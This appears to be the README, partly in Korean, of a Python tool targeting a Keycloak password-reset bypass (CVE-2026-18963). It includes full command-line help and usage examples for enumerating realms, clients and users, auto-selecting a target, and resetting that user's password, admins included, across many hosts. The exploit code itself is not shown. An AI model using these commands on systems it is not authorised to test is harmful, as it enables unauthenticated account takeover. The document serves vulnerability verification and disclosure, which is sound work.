alt3kx/cve-2026-18963CVE-2026-18963(Keycloak 자격 증명 재설정 상태 우회)에 대한 탐지 및 검증 도구입니다. 버전 핑거프린팅, realm/client/user 열거를 수행하고, 승인된 평가를 위해 action-token 사전 조건이 적용되는지 테스트합니다.
https://github.com/user-attachments/assets/005fab89-339a-4e4e-881c-da6a626f6c9e
python3 kc-resetforge.py -h
usage: kc-resetforge.py [-h] [--target TARGET] [--targets-file TARGETS_FILE] [--port PORT] [--realm REALM]
[--client-id CLIENT_ID] [--username USERNAME] [--new-password NEW_PASSWORD] [--skip-enum]
[--enum-only] [--kc-version] [--kc-reset-link] [--corpus-dir CORPUS_DIR] [--label LABEL]
[--enum-realms] [--no-enum-realms] [--enum-clients] [--no-enum-clients] [--enum-users]
[--no-enum-users] [--realm-wordlist REALM_WORDLIST] [--client-wordlist CLIENT_WORDLIST]
[--user-wordlist USER_WORDLIST] [--enum-users-client-id ENUM_USERS_CLIENT_ID]
[--verify-login] [--no-verify-login] [--verify-client-id VERIFY_CLIENT_ID]
[--timeout TIMEOUT] [--request-delay REQUEST_DELAY] [--output-dir OUTPUT_DIR]
[--proxy PROXY] [-d] [-y] [--json-out JSON_OUT]
CVE-2026-18963 Keycloak recon + exploit framework (own infra only)
options:
-h, --help show this help message and exit
--target TARGET Single target: bare host/IP, host:port, or a full http(s)://host[:port] URL. Scheme and port
are auto-detected if omitted (tries https then http; defaults to 443/80 respectively).
Mutually exclusive with --targets-file.
--targets-file TARGETS_FILE
Path to a file with one target per line, same flexible formats as --target ('#' comments
allowed). Runs recon+exploit against every target in turn.
--port PORT Override port for --target (or a fallback for --targets-file lines without their own port).
Per-line ports in --targets-file always take precedence.
--realm REALM Realm to target. If omitted, auto-selected from recon results.
--client-id CLIENT_ID
OIDC client_id to use. If omitted, auto-selected from recon results.
--username USERNAME Username to target. If omitted, auto-selected from recon results.
--new-password NEW_PASSWORD
Password to set for the target user (default: 'Test123!')
--skip-enum Skip recon entirely; --realm/--client-id/--username become required.
--enum-only Run recon and print results, but do not attempt exploitation.
--kc-version Only run the Keycloak version recon phase (fingerprint + corpus match + patch status) and
exit - skips realm/client/user enumeration and exploitation entirely. Works with both
--target and --targets-file.
--kc-reset-link Only check whether the self-service password-reset ('Forgot Password?' /
resetPasswordAllowed) flow is exposed, then exit - a single non-destructive GET, no username
needed. Auto-discovers realm/client via a light realm+client recon unless --realm/--client-
id are given explicitly. Skips exploitation. Works with both --target and --targets-file.
--corpus-dir CORPUS_DIR
Directory of known-version fingerprints for exact version matching (default:
kc_version_corpus).
--label LABEL Save THIS target's fingerprint into the corpus under this version label instead of matching
an unknown version. Use on an instance of known version.
--enum-realms Enumerate realm names (default: on during recon).
--no-enum-realms
--enum-clients Enumerate client IDs per realm (default: on during recon).
--no-enum-clients
--enum-users Enumerate usernames per realm (default: on during recon).
--no-enum-users
--realm-wordlist REALM_WORDLIST
--client-wordlist CLIENT_WORDLIST
--user-wordlist USER_WORDLIST
--enum-users-client-id ENUM_USERS_CLIENT_ID
Client used for the username-enumeration direct-grant probe (default: admin-cli).
--verify-login After a password change, confirm the new credentials via a password-grant token request
(default: on).
--no-verify-login
--verify-client-id VERIFY_CLIENT_ID
Client used for the verification password grant.
--timeout TIMEOUT
--request-delay REQUEST_DELAY
Seconds to wait before each request in the exploit chain (default: 0.4). Keycloak's login-
flow state can be timing-sensitive across the reset/restart/selector replay steps; a small
delay makes the chain more reliable. 0 to disable.
--output-dir OUTPUT_DIR
--proxy PROXY Route through an HTTP(S) proxy: 'burp' (127.0.0.1:8080 shorthand), a bare host:port, or a
full http(s):// URL.
-d, --debug Verbose debug logging of requests/responses/enum probes
-y, --yes Skip the 'Continue with this target?' prompt. Required for non-interactive use (scripts,
--targets-file with multiple targets, CI).
--json-out JSON_OUT Write a JSON report of recon + exploit results to this path.
kc-resetforge — CVE-2026-18963 Keycloak recon + exploit tool (own infra only)
Usage
-----
Fully automatic (recon -> auto-pick target -> exploit -> verify):
python3 kc-resetforge.py --target https://localhost:9990 --proxy burp -d
Recon only:
python3 kc-resetforge.py --target https://localhost:9990 --enum-only -d
Version + patch-status check only, across many hosts:
python3 kc-resetforge.py --targets-file targets.txt --kc-version
Skip recon, target directly:
python3 kc-resetforge.py --target https://localhost:9990 --realm master \
--client-id account --username admin --skip-enum
Requires: requests, beautifulsoup4, and optionally rich (pip install --break-system-packages)
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-18963 |
| 심각도 | 치명적 |
| CVSS | 9.1 |
| CWE | CWE-640 (취약한 비밀번호 복구 메커니즘) |
| 구성 요소 | Keycloak — reset-credentials 인증 흐름 |
| 영향 | 인증 불필요, 상호작용 없는 계정 탈취 (관리자 계정 포함) |
| 수정 버전 | Keycloak 26.7.2 (업스트림) / RHBK 26.4.15-1, 26.6.6-1 |
26.7.226.4.15-1 / 이미지 26.4-2326.6.6-1 / 이미지 26.6-12kc-resetforge는 탐지/검증 도구입니다. 대상의 reset-credentials 흐름이 액션 토큰 전제 조건을 올바르게 강제하는지(패치됨) 또는 그렇지 않은지(취약함)를 확인하며, 승인된 평가에서 사용하기 위한 것입니다. 아래에 링크된 분석 문서는 공개 공개에 적합한 수준의 깊이로 메커니즘과 재현 방법론을 다룹니다.
전체 분석: Forging kc-resetforge: Turning CVE-2026-18963 Into a Repeatable Check
kc-resetforge.py는 Keycloak에게 "당신은 무슨 버전입니까?"라고 물을 수 없습니다. 그에 답하는 인증 전 엔드포인트가 없기 때문입니다. 대신 대상의 지문(응답 필드, 정적 자산 해시, favicon)을 채취하여 이미 알려진 버전으로 레이블이 지정된 지문 코퍼스와 비교합니다. 해당 지문에 대한 코퍼스 항목이 없으면 정확한 버전도 없습니다. 이는 설계상의 동작이며 버그가 아닙니다.
접근 권한이 있는 각 버전마다 코퍼스를 한 번 구축하십시오:
python3 kc-resetforge.py --target https://known-26.6.2-host --kc-version --label 26.6.2
python3 kc-resetforge.py --target https://known-26.7.2-host --kc-version --label 26.7.2
[snip]